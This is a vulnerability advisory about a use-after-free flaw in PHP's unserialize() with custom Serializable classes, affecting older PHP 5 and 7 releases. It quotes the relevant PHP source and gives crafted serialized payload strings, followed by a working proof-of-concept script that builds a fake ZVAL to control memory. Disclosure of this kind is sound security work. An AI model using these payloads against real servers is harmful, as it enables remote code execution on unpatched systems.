#Use After Free Vulnerability in unserialize()
Taoguang Chen <@chtg57> - Write Date: 2015.9.6 - Release Date: 2016.8.18
A use-after-free vulnerability was discovered in unserialize() with customized serializing class that can be abused for leaking arbitrary memory blocks or execute arbitrary code remotely.
Affected is PHP 5 < 5.6.25
Affected is PHP 7 < 7.0.10
This vulnerability was disclosed by Taoguang Chen.
static inline int object_custom(UNSERIALIZE_PARAMETER, zend_class_entry *ce)
{
...
} else if (ce->unserialize(rval, ce, (const unsigned char*)*p, datalen, (zend_unserialize_data *)var_hash TSRMLS_CC) != SUCCESS) {
return 0;
}
PHP provides an interface for customized serializing, the basic usage given in the PHP manual such as the following code:
<?php
class obj implements Serializable {
var $data;
function serialize() {
return serialize($this->data);
}
function unserialize($data) {
$this->data = unserialize($data);
}
}
?>
But using the interface may cause some security issues.
PHP_FUNCTION(unserialize)
{
...
if (!php_var_unserialize(&return_value, &p, p + buf_len, &var_hash TSRMLS_CC)) {
PHP_VAR_UNSERIALIZE_DESTROY(var_hash);
zval_dtor(return_value);
if (!EG(exception)) {
php_error_docref(NULL TSRMLS_CC, E_NOTICE, "Error at offset %ld of %d bytes", (long)((char*)p - buf), buf_len);
}
RETURN_FALSE;
}
If the php_var_unserialize() call fails, the ZVAL return_value
will be freed via zval_dtor(), then the ZVAL will be setted into a boolean-type ZVAL that value as FALSE, and the ZVAL will be still stored in an customized serializing object as its properties, such as the following code:
<?php
unserialize('C:3:"obj":4:{ryat}');
?>
Again, the object can be freed and setted as FALSE when next php_var_unserialize() call fails in during customized serializing. This means that the object and its properties will be destroyed. This also means that in the previous php_var_unserialize() call fails of the ZVAL will be freed. However during deserialization will still allow to use R: or r: to set references to that already freed memory, such as the following code:
<?php
unserialize('a:2:{i:0;C:3:"obj":17:{C:3:"obj":3:{ryat}i:1;R:4;}');
?>
This will result in use-after-free and execute arbitrary code remotely.
The PoC works on standard macOS installation of PHP 5 series.
<?php
class obj implements Serializable {
var $data;
function serialize() {
return serialize($this->data);
}
function unserialize($data) {
$this->data = unserialize($data);
}
}
$fakezval = ptr2str(1122334455);
$fakezval .= ptr2str(0);
$fakezval .= "\x00\x00\x00\x00";
$fakezval .= "\x01";
$fakezval .= "\x00";
$fakezval .= "\x00\x00";
$inner = 'C:3:"obj":3:{ryat';
$exploit = 'a:4:{i:0;i:1;i:1;C:3:"obj":'.strlen($inner).':{'.$inner.'}i:2;s:'.strlen($fakezval).':"'.$fakezval.'";i:3;R:5;}';
$data = unserialize($exploit);
var_dump($data[3]);
function ptr2str($ptr)
{
$out = '';
for ($i = 0; $i < 8; $i++) {
$out .= chr($ptr & 0xff);
$ptr >>= 8;
}
return $out;
}
?>
Test the PoC on the command line:
$ php uafpoc.php
int(1122334455) <=== Created integer-type fake ZVAL
So an attacker can control the memory and create fake ZVAL, and an array-type or object-type fake ZVAL will result in code execution easily, it has been demonstrated many times before.